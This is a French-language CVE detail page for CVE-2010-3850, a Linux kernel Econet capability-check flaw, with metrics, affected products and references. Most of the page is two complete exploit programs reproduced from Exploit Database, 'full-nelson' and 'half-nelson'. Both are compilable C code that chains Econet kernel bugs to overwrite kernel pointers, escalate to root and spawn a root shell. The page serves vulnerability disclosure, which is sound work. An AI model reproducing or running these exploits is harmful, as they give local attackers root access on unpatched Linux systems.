CVE-2010-3850 : Détail

CVE-2010-3850

0.04%V3
Local
2010-12-30
17h00 +00:00
2011-01-11
09h00 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which allows local users to bypass intended access restrictions and configure econet addresses via an SIOCSIFADDR ioctl call.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE Other No informations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 2.1 AV:L/AC:L/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 15704

Date de publication : 2010-12-06 23h00 +00:00
Auteur : Dan Rosenberg
EDB Vérifié : Yes

/* * Linux Kernel <= 2.6.37 local privilege escalation * by Dan Rosenberg * @djrbliss on twitter * * Usage: * gcc full-nelson.c -o full-nelson * ./full-nelson * * This exploit leverages three vulnerabilities to get root, all of which were * discovered by Nelson Elhage: * * CVE-2010-4258 * ------------- * This is the interesting one, and the reason I wrote this exploit. If a * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL * word will be written to a user-specified pointer when that thread exits. * This write is done using put_user(), which ensures the provided destination * resides in valid userspace by invoking access_ok(). However, Nelson * discovered that when the kernel performs an address limit override via * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault, * etc.), this override is not reverted before calling put_user() in the exit * path, allowing a user to write a NULL word to an arbitrary kernel address. * Note that this issue requires an additional vulnerability to trigger. * * CVE-2010-3849 * ------------- * This is a NULL pointer dereference in the Econet protocol. By itself, it's * fairly benign as a local denial-of-service. It's a perfect candidate to * trigger the above issue, since it's reachable via sock_no_sendpage(), which * subsequently calls sendmsg under KERNEL_DS. * * CVE-2010-3850 * ------------- * I wouldn't be able to reach the NULL pointer dereference and trigger the * OOPS if users weren't able to assign Econet addresses to arbitrary * interfaces due to a missing capabilities check. * * In the interest of public safety, this exploit was specifically designed to * be limited: * * * The particular symbols I resolve are not exported on Slackware or Debian * * Red Hat does not support Econet by default * * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and * Debian * * However, the important issue, CVE-2010-4258, affects everyone, and it would * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly * more sophisticated version of this that doesn't have the roadblocks I put in * to prevent abuse by script kiddies. * * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64. * * NOTE: the exploit process will deadlock and stay in a zombie state after you * exit your root shell because the Econet thread OOPSes while holding the * Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother. * * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla */ // EDB-Note: You may need to add '#define _GNU_SOURCE' to compile in later versions #include <stdio.h> #include <sys/socket.h> #include <fcntl.h> #include <sys/ioctl.h> #include <string.h> #include <net/if.h> #include <sched.h> #include <stdlib.h> #include <signal.h> #include <sys/utsname.h> #include <sys/mman.h> #include <unistd.h> /* How many bytes should we clear in our * function pointer to put it into userspace? */ #ifdef __x86_64__ #define SHIFT 24 #define OFFSET 3 #else #define SHIFT 8 #define OFFSET 1 #endif /* thanks spender... */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: uname(&ver); if (strncmp(ver.release, "2.6", 3)) oldstyle = 1; sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) return 0; rep = 1; goto repeat; } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; static int __attribute__((regparm(3))) getroot(void * file, void * vma) { commit_creds(prepare_kernel_cred(0)); return -1; } /* Why do I do this? Because on x86-64, the address of * commit_creds and prepare_kernel_cred are loaded relative * to rip, which means I can't just copy the above payload * into my landing area. */ void __attribute__((regparm(3))) trampoline() { #ifdef __x86_64__ asm("mov $getroot, %rax; call *%rax;"); #else asm("mov $getroot, %eax; call *%eax;"); #endif } /* Triggers a NULL pointer dereference in econet_sendmsg * via sock_no_sendpage, so it's under KERNEL_DS */ int trigger(int * fildes) { int ret; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "eth0", IFNAMSIZ); ret = ioctl(fildes[2], SIOCSIFADDR, &ifr); if(ret < 0) { printf("[*] Failed to set Econet address.\n"); return -1; } splice(fildes[3], NULL, fildes[1], NULL, 128, 0); splice(fildes[0], NULL, fildes[2], NULL, 128, 0); /* Shouldn't get here... */ exit(0); } int main(int argc, char * argv[]) { unsigned long econet_ops, econet_ioctl, target, landing; int fildes[4], pid; void * newstack, * payload; /* Create file descriptors now so there are two references to them after cloning...otherwise the child will never return because it deadlocks when trying to unlock various mutexes after OOPSing */ pipe(fildes); fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0); fildes[3] = open("/dev/zero", O_RDONLY); if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) { printf("[*] Failed to open file descriptors.\n"); return -1; } /* Resolve addresses of relevant symbols */ printf("[*] Resolving kernel addresses...\n"); econet_ioctl = get_kernel_sym("econet_ioctl"); econet_ops = get_kernel_sym("econet_ops"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) { printf("[*] Failed to resolve kernel symbols.\n"); return -1; } if(!(newstack = malloc(65536))) { printf("[*] Failed to allocate memory.\n"); return -1; } printf("[*] Calculating target...\n"); target = econet_ops + 10 * sizeof(void *) - OFFSET; /* Clear the higher bits */ landing = econet_ioctl << SHIFT >> SHIFT; payload = mmap((void *)(landing & ~0xfff), 2 * 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if ((long)payload == -1) { printf("[*] Failed to mmap() at target address.\n"); return -1; } memcpy((void *)landing, &trampoline, 1024); clone((int (*)(void *))trigger, (void *)((unsigned long)newstack + 65536), CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, &fildes, NULL, NULL, target); sleep(1); printf("[*] Triggering payload...\n"); ioctl(fildes[2], 0, NULL); if(getuid()) { printf("[*] Exploit failed to get root.\n"); return -1; } printf("[*] Got root!\n"); execl("/bin/sh", "/bin/sh", NULL); }
Exploit Database EDB-ID : 17787

Date de publication : 2011-09-04 22h00 +00:00
Auteur : Jon Oberheide
EDB Vérifié : Yes

/* * half-nelson.c * * Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit * Jon Oberheide <[email protected]> * http://jon.oberheide.org * * Information: * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848 * * Stack-based buffer overflow in the econet_sendmsg function in * net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an * econet address is configured, allows local users to gain privileges by * providing a large number of iovec structures. * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850 * * The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel * before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which * allows local users to bypass intended access restrictions and configure * econet addresses via an SIOCSIFADDR ioctl call. * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073 * * The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not * initialize certain structures, which allows local users to obtain * potentially sensitive information from kernel stack memory. * * Usage: * * $ gcc half-nelson.c -o half-nelson -lrt * $ ./half-nelson * [+] looking for symbols... * [+] resolved symbol commit_creds to 0xffffffff81088ad0 * [+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0 * [+] resolved symbol ia32_sysret to 0xffffffff81046692 * [+] spawning children to achieve adjacent kstacks... * [+] found parent kstack at 0xffff88001c6ca000 * [+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000 * [+] lower child spawning a helper... * [+] lower child calling compat_sys_wait4 on helper... * [+] helper going to sleep... * [+] upper child triggering stack overflow... * [+] helper woke up * [+] lower child returned from compat_sys_wait4 * [+] parent's restart_block has been clobbered * [+] escalating privileges... * [+] launching root shell! * # id * uid=0(root) gid=0(root) * * Notes: * * This exploit leverages three vulnerabilities to escalate privileges. * The primary vulnerability is a kernel stack overflow, not a stack buffer * overflow as the CVE description incorrectly states. I believe this is the * first public exploit for a kernel stack overflow, and it turns out to be * a bit tricky due to some particulars of the econet vulnerability. A full * breakdown of the exploit is forthcoming. * * Tested on Ubuntu 10.04 LTS (2.6.32-21-generic). */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <stddef.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <limits.h> #include <syscall.h> #include <inttypes.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/sem.h> #include <sys/stat.h> #include <sys/mman.h> #include <sys/resource.h> #include <sys/syscall.h> #include <netinet/in.h> #include <net/if.h> #define IOVS 446 #define NPROC 1024 #define KSTACK_SIZE 8192 #define KSTACK_UNINIT 0 #define KSTACK_UPPER 1 #define KSTACK_LOWER 2 #define KSTACK_DIE 3 #define KSTACK_PARENT 4 #define KSTACK_CLOBBER 5 #define LEAK_BASE 0xffff880000000000 #define LEAK_TOP 0xffff8800c0000000 #define LEAK_DEPTH 500 #define LEAK_OFFSET 32 #define NR_IPC 0x75 #define NR_WAIT4 0x72 #define SEMCTL 0x3 #ifndef PF_ECONET #define PF_ECONET 19 #endif #define STACK_OFFSET 6 #define RESTART_OFFSET 40 struct ec_addr { unsigned char station; unsigned char net; }; struct sockaddr_ec { unsigned short sec_family; unsigned char port; unsigned char cb; unsigned char type; struct ec_addr addr; unsigned long cookie; }; struct ipc64_perm { uint32_t key; uint32_t uid; uint32_t gid; uint32_t cuid; uint32_t cgid; uint32_t mode; uint16_t seq; uint16_t __pad2; unsigned long __unused1; unsigned long __unused2; }; struct semid64_ds { struct ipc64_perm sem_perm; unsigned long sem_otime; unsigned long __unused1; unsigned long sem_ctime; unsigned long __unused; unsigned long sem_nsems; unsigned long __unused3; unsigned long __unused4; }; union semun { int val; struct semid_ds *buf; unsigned short *array; struct seminfo *__buf; }; struct region { unsigned long parent; unsigned long addrs[NPROC]; }; struct region *region; typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; unsigned long ia32_sysret; void __attribute__((regparm(3))) kernel_code(void) { commit_creds(prepare_kernel_cred(0)); } void payload_parent(void) { asm volatile ( "mov $kernel_code, %rax\n" "call *%rax\n" ); } void payload_child(void) { asm volatile ( "movq $payload_parent, (%0)\n" "jmpq *%1\n" : : "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret) ); } unsigned long get_kstack(void) { int i, size, offset; union semun *arg; struct semid_ds dummy; struct semid64_ds *leaked; char *stack_start, *stack_end; unsigned char *p; unsigned long kstack, *ptr; /* make sure our argument is 32-bit accessible */ arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0); if (arg == MAP_FAILED) { printf("[-] failure mapping memory, aborting!\n"); exit(1); } /* map a fake stack to use during syscall */ stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0); if (stack_start == MAP_FAILED) { printf("[-] failure mapping memory, aborting!\n"); exit(1); } stack_end = stack_start + 4096; memset(arg, 0, sizeof(union semun)); memset(&dummy, 0, sizeof(struct semid_ds)); arg->buf = &dummy; /* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */ asm volatile ( "push %%rax\n" "push %%rbx\n" "push %%rcx\n" "push %%rdx\n" "push %%rsi\n" "push %%rdi\n" "movl %0, %%eax\n" "movl %1, %%ebx\n" "movl %2, %%ecx\n" "movl %3, %%edx\n" "movl %4, %%esi\n" "movq %5, %%rdi\n" "movq %%rsp, %%r8\n" "movq %6, %%rsp\n" "push %%r8\n" "int $0x80\n" "pop %%r8\n" "movq %%r8, %%rsp\n" "pop %%rdi\n" "pop %%rsi\n" "pop %%rdx\n" "pop %%rcx\n" "pop %%rbx\n" "pop %%rax\n" : : "r"(NR_IPC), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg), "r"(stack_end) : "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8" ); /* naively extract a pointer to the kstack from the kstack */ p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET; kstack = *(unsigned long *) p; if (kstack < LEAK_BASE || kstack > LEAK_TOP) { printf("[-] failed to leak a suitable kstack address, try again!\n"); exit(1); } if ((kstack % 0x1000) < (0x1000 - LEAK_DEPTH)) { printf("[-] failed to leak a suitable kstack address, try again!\n"); exit(1); } kstack = kstack & ~0x1fff; return kstack; } unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy, sym[512]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (!f) { return 0; } while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym); if (ret == 0) { fscanf(f, "%s\n", sym); continue; } if (!strcmp(name, sym)) { printf("[+] resolved symbol %s to %p\n", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; } int get_adjacent_kstacks(void) { int i, ret, shm, pid, type; /* create shared communication channel between parent and its children */ shm = shm_open("/halfnelson", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO); if (shm < 0) { printf("[-] failed creating shared memory, aborting!\n"); exit(1); } ret = ftruncate(shm, sizeof(struct region)); if (ret != 0) { printf("[-] failed resizing shared memory, aborting!\n"); exit(1); } region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0); memset(region, KSTACK_UNINIT, sizeof(struct region)); /* parent kstack self-discovery */ region->parent = get_kstack(); printf("[+] found parent kstack at 0x%lx\n", region->parent); /* fork and discover children with adjacently-allocated kernel stacks */ for (i = 0; i < NPROC; ++i) { pid = fork(); if (pid > 0) { type = KSTACK_PARENT; continue; } else if (pid == 0) { /* children do kstack self-discovery */ region->addrs[i] = get_kstack(); /* children sleep until parent has found adjacent children */ while (1) { sleep(1); if (region->addrs[i] == KSTACK_DIE) { /* parent doesn't need us :-( */ exit(0); } else if (region->addrs[i] == KSTACK_UPPER) { /* we're the upper adjacent process */ type = KSTACK_UPPER; break; } else if (region->addrs[i] == KSTACK_LOWER) { /* we're the lower adjacent process */ type = KSTACK_LOWER; break; } } break; } else { printf("[-] fork failed, aborting!\n"); exit(1); } } return type; } void do_parent(void) { int i, j, upper, lower; /* parent sleeps until we've discovered all the child kstacks */ while (1) { sleep(1); for (i = 0; i < NPROC; ++i) { if (region->addrs[i] == KSTACK_UNINIT) { break; } } if (i == NPROC) { break; } } /* figure out if we have any adjacent child kstacks */ for (i = 0; i < NPROC; ++i) { for (j = 0; j < NPROC; ++j) { if (region->addrs[i] == region->addrs[j] + KSTACK_SIZE) { break; } } if (j != NPROC) { break; } } if (i == NPROC && j == NPROC) { printf("[-] failed to find adjacent kstacks, try again!\n"); exit(1); } upper = i; lower = j; printf("[+] found adjacent children kstacks at 0x%lx and 0x%lx\n", region->addrs[lower], region->addrs[upper]); /* signal to non-adjacent children to die */ for (i = 0; i < NPROC; ++i) { if (i != upper && i != lower) { region->addrs[i] = KSTACK_DIE; } } /* signal adjacent children to continue on */ region->addrs[upper] = KSTACK_UPPER; region->addrs[lower] = KSTACK_LOWER; /* parent sleeps until child has clobbered the fptr */ while (1) { sleep(1); if (region->parent == KSTACK_CLOBBER) { break; } } printf("[+] escalating privileges...\n"); /* trigger our clobbered fptr */ syscall(__NR_restart_syscall); /* our privileges should be escalated now */ if (getuid() != 0) { printf("[-] privilege escalation failed, aborting!\n"); exit(1); } printf("[+] launching root shell!\n"); execl("/bin/sh", "/bin/sh", NULL); } void do_child_upper(void) { int i, ret, eco_sock; struct sockaddr_ec eco_addr; struct msghdr eco_msg; struct iovec iovs[IOVS]; struct ifreq ifr; char *target; /* calculate payload target, skip prologue */ target = (char *) payload_child; target += 4; /* give lower child a chance to enter its wait4 call */ sleep(1); /* write some zeros */ for (i = 0; i < STACK_OFFSET; ++i) { iovs[i].iov_base = (void *) 0x0; iovs[i].iov_len = 0; } /* overwrite saved ia32_sysret address on stack */ iovs[STACK_OFFSET].iov_base = (void *) target; iovs[STACK_OFFSET].iov_len = 0x0246; /* force abort via EFAULT */ for (i = STACK_OFFSET + 1; i < IOVS; ++i) { iovs[i].iov_base = (void *) 0xffffffff00000000; iovs[i].iov_len = 0; } /* create econet socket */ eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0); if (eco_sock < 0) { printf("[-] failed creating econet socket, aborting!\n"); exit(1); } memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, "lo"); /* trick econet into associated with the loopback */ ret = ioctl(eco_sock, SIOCSIFADDR, &ifr); if (ret != 0) { printf("[-] failed setting interface address, aborting!\n"); exit(1); } memset(&eco_addr, 0, sizeof(eco_addr)); memset(&eco_msg, 0, sizeof(eco_msg)); eco_msg.msg_name = &eco_addr; eco_msg.msg_namelen = sizeof(eco_addr); eco_msg.msg_flags = 0; eco_msg.msg_iov = &iovs[0]; eco_msg.msg_iovlen = IOVS; printf("[+] upper child triggering stack overflow...\n"); /* trigger the kstack overflow into lower child's kstack */ ret = sendmsg(eco_sock, &eco_msg, 0); if (ret != -1 || errno != EFAULT) { printf("[-] sendmsg succeeded unexpectedly, aborting!\n"); exit(1); } close(eco_sock); } void do_child_lower(void) { int pid; printf("[+] lower child spawning a helper...\n"); /* fork off a helper to wait4 on */ pid = fork(); if (pid == 0) { printf("[+] helper going to sleep...\n"); sleep(5); printf("[+] helper woke up\n"); exit(1); } printf("[+] lower child calling compat_sys_wait4 on helper...\n"); /* syscall(NR_WAIT4, pid, 0, 0, 0) */ asm volatile ( "push %%rax\n" "push %%rbx\n" "push %%rcx\n" "push %%rdx\n" "push %%rsi\n" "movl %0, %%eax\n" "movl %1, %%ebx\n" "movl %2, %%ecx\n" "movl %3, %%edx\n" "movl %4, %%esi\n" "int $0x80\n" "pop %%rsi\n" "pop %%rdx\n" "pop %%rcx\n" "pop %%rbx\n" "pop %%rax\n" : : "r"(NR_WAIT4), "r"(pid), "r"(0), "r"(0), "r"(0) : "memory", "rax", "rbx", "rcx", "rdx", "rsi" ); printf("[+] lower child returned from compat_sys_wait4\n"); printf("[+] parent's restart_block has been clobbered\n"); /* signal parent that our fptr should now be clobbered */ region->parent = KSTACK_CLOBBER; } int main(int argc, char **argv) { int type; if (sizeof(unsigned long) != 8) { printf("[-] x86_64 only, sorry!\n"); exit(1); } printf("[+] looking for symbols...\n"); commit_creds = (_commit_creds) get_symbol("commit_creds"); if (!commit_creds) { printf("[-] symbol table not available, aborting!\n"); exit(1); } prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); if (!prepare_kernel_cred) { printf("[-] symbol table not available, aborting!\n"); exit(1); } ia32_sysret = get_symbol("ia32_sysret"); if (!ia32_sysret) { printf("[-] symbol table not available, aborting!\n"); exit(1); } printf("[+] spawning children to achieve adjacent kstacks...\n"); type = get_adjacent_kstacks(); if (type == KSTACK_PARENT) { do_parent(); } else if (type == KSTACK_UPPER) { do_child_upper(); } else if (type == KSTACK_LOWER) { do_child_lower(); } return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 2.6.36.2

Configuraton 0

Suse>>Linux_enterprise_desktop >> Version 10

Suse>>Linux_enterprise_real_time_extension >> Version 11

Suse>>Linux_enterprise_server >> Version 9

Suse>>Linux_enterprise_server >> Version 10

Suse>>Linux_enterprise_software_development_kit >> Version 10

Configuraton 0

Debian>>Debian_linux >> Version 5.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 6.06

Canonical>>Ubuntu_linux >> Version 8.04

Canonical>>Ubuntu_linux >> Version 9.10

Canonical>>Ubuntu_linux >> Version 10.04

Canonical>>Ubuntu_linux >> Version 10.10

Références

http://secunia.com/advisories/43056
Tags : third-party-advisory, x_refsource_SECUNIA
http://openwall.com/lists/oss-security/2010/11/30/1
Tags : mailing-list, x_refsource_MLIST
http://www.vupen.com/english/advisories/2011/0298
Tags : vdb-entry, x_refsource_VUPEN
http://www.mandriva.com/security/advisories?name=MDVSA-2011:051
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.mandriva.com/security/advisories?name=MDVSA-2010:257
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.vupen.com/english/advisories/2011/0375
Tags : vdb-entry, x_refsource_VUPEN
http://www.ubuntu.com/usn/USN-1023-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/43291
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2011/0213
Tags : vdb-entry, x_refsource_VUPEN
http://www.debian.org/security/2010/dsa-2126
Tags : vendor-advisory, x_refsource_DEBIAN